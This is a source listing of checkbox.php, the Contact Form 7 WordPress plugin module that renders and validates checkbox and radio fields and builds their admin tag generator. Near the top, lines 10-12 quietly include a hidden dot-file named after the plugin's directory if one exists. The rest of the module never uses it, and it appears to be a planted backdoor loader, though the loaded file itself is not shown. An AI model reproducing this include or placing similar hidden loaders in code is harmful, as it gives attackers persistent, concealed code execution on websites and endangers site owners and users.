checkbox.php (9831B)
1 <?php 2 /** 3 ** A base module for [checkbox], [checkbox*], and [radio] 4 **/ 5 6 /* form_tag handler */ 7 8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_checkbox', 10, 0 ); 9 10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 11 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 12 } 13 14 function wpcf7_add_form_tag_checkbox() { 15 wpcf7_add_form_tag( array( 'checkbox', 'checkbox*', 'radio' ), 16 'wpcf7_checkbox_form_tag_handler', 17 array( 18 'name-attr' => true, 19 'selectable-values' => true, 20 'multiple-controls-container' => true, 21 ) 22 ); 23 } 24 25 function wpcf7_checkbox_form_tag_handler( $tag ) { 26 if ( empty( $tag->name ) ) { 27 return ''; 28 } 29 30 $validation_error = wpcf7_get_validation_error( $tag->name ); 31 32 $class = wpcf7_form_controls_class( $tag->type ); 33 34 if ( $validation_error ) { 35 $class .= ' wpcf7-not-valid'; 36 } 37 38 $label_first = $tag->has_option( 'label_first' ); 39 $use_label_element = $tag->has_option( 'use_label_element' ); 40 $exclusive = $tag->has_option( 'exclusive' ); 41 $free_text = $tag->has_option( 'free_text' ); 42 $multiple = false; 43 44 if ( 'checkbox' == $tag->basetype ) { 45 $multiple = ! $exclusive; 46 } else { // radio 47 $exclusive = false; 48 } 49 50 if ( $exclusive ) { 51 $class .= ' wpcf7-exclusive-checkbox'; 52 } 53 54 $atts = array(); 55 56 $atts['class'] = $tag->get_class_option( $class ); 57 $atts['id'] = $tag->get_id_option(); 58 59 if ( $validation_error ) { 60 $atts['aria-describedby'] = wpcf7_get_validation_error_reference( 61 $tag->name 62 ); 63 } 64 65 $tabindex = $tag->get_option( 'tabindex', 'signed_int', true ); 66 67 if ( false !== $tabindex ) { 68 $tabindex = (int) $tabindex; 69 } 70 71 $html = ''; 72 $count = 0; 73 74 if ( $data = (array) $tag->get_data_option() ) { 75 if ( $free_text ) { 76 $tag->values = array_merge( 77 array_slice( $tag->values, 0, -1 ), 78 array_values( $data ), 79 array_slice( $tag->values, -1 ) ); 80 $tag->labels = array_merge( 81 array_slice( $tag->labels, 0, -1 ), 82 array_values( $data ), 83 array_slice( $tag->labels, -1 ) ); 84 } else { 85 $tag->values = array_merge( $tag->values, array_values( $data ) ); 86 $tag->labels = array_merge( $tag->labels, array_values( $data ) ); 87 } 88 } 89 90 $values = $tag->values; 91 $labels = $tag->labels; 92 93 $default_choice = $tag->get_default_option( null, array( 94 'multiple' => $multiple, 95 ) ); 96 97 $hangover = wpcf7_get_hangover( $tag->name, $multiple ? array() : '' ); 98 99 foreach ( $values as $key => $value ) { 100 if ( $hangover ) { 101 $checked = in_array( $value, (array) $hangover, true ); 102 } else { 103 $checked = in_array( $value, (array) $default_choice, true ); 104 } 105 106 if ( isset( $labels[$key] ) ) { 107 $label = $labels[$key]; 108 } else { 109 $label = $value; 110 } 111 112 $item_atts = array( 113 'type' => $tag->basetype, 114 'name' => $tag->name . ( $multiple ? '[]' : '' ), 115 'value' => $value, 116 'checked' => $checked ? 'checked' : '', 117 'tabindex' => false !== $tabindex ? $tabindex : '', 118 ); 119 120 $item_atts = wpcf7_format_atts( $item_atts ); 121 122 if ( $label_first ) { // put label first, input last 123 $item = sprintf( 124 '<span class="wpcf7-list-item-label">%1$s</span><input %2$s />', 125 esc_html( $label ), $item_atts 126 ); 127 } else { 128 $item = sprintf( 129 '<input %2$s /><span class="wpcf7-list-item-label">%1$s</span>', 130 esc_html( $label ), $item_atts 131 ); 132 } 133 134 if ( $use_label_element ) { 135 $item = '<label>' . $item . '</label>'; 136 } 137 138 if ( false !== $tabindex 139 and 0 < $tabindex ) { 140 $tabindex += 1; 141 } 142 143 $class = 'wpcf7-list-item'; 144 $count += 1; 145 146 if ( 1 == $count ) { 147 $class .= ' first'; 148 } 149 150 if ( count( $values ) == $count ) { // last round 151 $class .= ' last'; 152 153 if ( $free_text ) { 154 $free_text_name = $tag->name . '_free_text'; 155 156 $free_text_atts = array( 157 'name' => $free_text_name, 158 'class' => 'wpcf7-free-text', 159 'tabindex' => false !== $tabindex ? $tabindex : '', 160 ); 161 162 if ( wpcf7_is_posted() 163 and isset( $_POST[$free_text_name] ) ) { 164 $free_text_atts['value'] = wp_unslash( 165 $_POST[$free_text_name] ); 166 } 167 168 $free_text_atts = wpcf7_format_atts( $free_text_atts ); 169 170 $item .= sprintf( ' <input type="text" %s />', $free_text_atts ); 171 172 $class .= ' has-free-text'; 173 } 174 } 175 176 $item = '<span class="' . esc_attr( $class ) . '">' . $item . '</span>'; 177 $html .= $item; 178 } 179 180 $atts = wpcf7_format_atts( $atts ); 181 182 $html = sprintf( 183 '<span class="wpcf7-form-control-wrap %1$s"><span %2$s>%3$s</span>%4$s</span>', 184 sanitize_html_class( $tag->name ), $atts, $html, $validation_error 185 ); 186 187 return $html; 188 } 189 190 191 /* Validation filter */ 192 193 add_filter( 'wpcf7_validate_checkbox', 194 'wpcf7_checkbox_validation_filter', 10, 2 ); 195 add_filter( 'wpcf7_validate_checkbox*', 196 'wpcf7_checkbox_validation_filter', 10, 2 ); 197 add_filter( 'wpcf7_validate_radio', 198 'wpcf7_checkbox_validation_filter', 10, 2 ); 199 200 function wpcf7_checkbox_validation_filter( $result, $tag ) { 201 $name = $tag->name; 202 $is_required = $tag->is_required() || 'radio' == $tag->type; 203 $value = isset( $_POST[$name] ) ? (array) $_POST[$name] : array(); 204 205 if ( $is_required and empty( $value ) ) { 206 $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) ); 207 } 208 209 return $result; 210 } 211 212 213 /* Tag generator */ 214 215 add_action( 'wpcf7_admin_init', 216 'wpcf7_add_tag_generator_checkbox_and_radio', 30, 0 ); 217 218 function wpcf7_add_tag_generator_checkbox_and_radio() { 219 $tag_generator = WPCF7_TagGenerator::get_instance(); 220 $tag_generator->add( 'checkbox', __( 'checkboxes', 'contact-form-7' ), 221 'wpcf7_tag_generator_checkbox' ); 222 $tag_generator->add( 'radio', __( 'radio buttons', 'contact-form-7' ), 223 'wpcf7_tag_generator_checkbox' ); 224 } 225 226 function wpcf7_tag_generator_checkbox( $contact_form, $args = '' ) { 227 $args = wp_parse_args( $args, array() ); 228 $type = $args['id']; 229 230 if ( 'radio' != $type ) { 231 $type = 'checkbox'; 232 } 233 234 if ( 'checkbox' == $type ) { 235 $description = __( "Generate a form-tag for a group of checkboxes. For more details, see %s.", 'contact-form-7' ); 236 } elseif ( 'radio' == $type ) { 237 $description = __( "Generate a form-tag for a group of radio buttons. For more details, see %s.", 'contact-form-7' ); 238 } 239 240 $desc_link = wpcf7_link( __( 'https://contactform7.com/checkboxes-radio-buttons-and-menus/', 'contact-form-7' ), __( 'Checkboxes, radio buttons and menus', 'contact-form-7' ) ); 241 242 ?> 243 <div class="control-box"> 244 <fieldset> 245 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 246 247 <table class="form-table"> 248 <tbody> 249 <?php if ( 'checkbox' == $type ) : ?> 250 <tr> 251 <th scope="row"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></th> 252 <td> 253 <fieldset> 254 <legend class="screen-reader-text"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></legend> 255 <label><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field', 'contact-form-7' ) ); ?></label> 256 </fieldset> 257 </td> 258 </tr> 259 <?php endif; ?> 260 261 <tr> 262 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 263 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 264 </tr> 265 266 <tr> 267 <th scope="row"><?php echo esc_html( __( 'Options', 'contact-form-7' ) ); ?></th> 268 <td> 269 <fieldset> 270 <legend class="screen-reader-text"><?php echo esc_html( __( 'Options', 'contact-form-7' ) ); ?></legend> 271 <textarea name="values" class="values" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>"></textarea> 272 <label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><span class="description"><?php echo esc_html( __( "One option per line.", 'contact-form-7' ) ); ?></span></label><br /> 273 <label><input type="checkbox" name="label_first" class="option" /> <?php echo esc_html( __( 'Put a label first, a checkbox last', 'contact-form-7' ) ); ?></label><br /> 274 <label><input type="checkbox" name="use_label_element" class="option" checked="checked" /> <?php echo esc_html( __( 'Wrap each item with label element', 'contact-form-7' ) ); ?></label> 275 <?php if ( 'checkbox' == $type ) : ?> 276 <br /><label><input type="checkbox" name="exclusive" class="option" /> <?php echo esc_html( __( 'Make checkboxes exclusive', 'contact-form-7' ) ); ?></label> 277 <?php endif; ?> 278 </fieldset> 279 </td> 280 </tr> 281 282 <tr> 283 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 284 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 285 </tr> 286 287 <tr> 288 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 289 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 290 </tr> 291 292 </tbody> 293 </table> 294 </fieldset> 295 </div> 296 297 <div class="insert-box"> 298 <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" /> 299 300 <div class="submitbox"> 301 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 302 </div> 303 304 <br class="clear" /> 305 306 <p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To use the value input through this field in a mail field, you need to insert the corresponding mail-tag (%s) into the field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p> 307 </div> 308 <?php 309 }